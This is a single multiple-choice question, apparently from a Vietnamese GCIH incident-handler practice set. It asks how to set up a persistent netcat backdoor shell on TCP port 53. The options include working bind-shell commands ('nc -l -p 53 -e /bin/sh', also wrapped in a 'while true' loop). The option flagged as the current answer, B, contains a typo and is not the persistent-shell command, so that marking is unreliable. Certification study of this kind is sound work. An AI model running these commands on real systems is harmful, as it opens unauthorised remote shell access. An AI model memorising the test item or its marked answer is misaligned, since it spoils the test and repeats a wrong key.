Câu 39: GCIH: GIAC Certified Incident Handler

How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?

1. A. nc -l -p 53 -e /bin/sh
2. B. nc -1 -p 53 — đáp án hiện tại
3. C. while true; do nc -l -z -p 53; done
4. D. while true; do nc -l -p 53 -e /bin/sh; done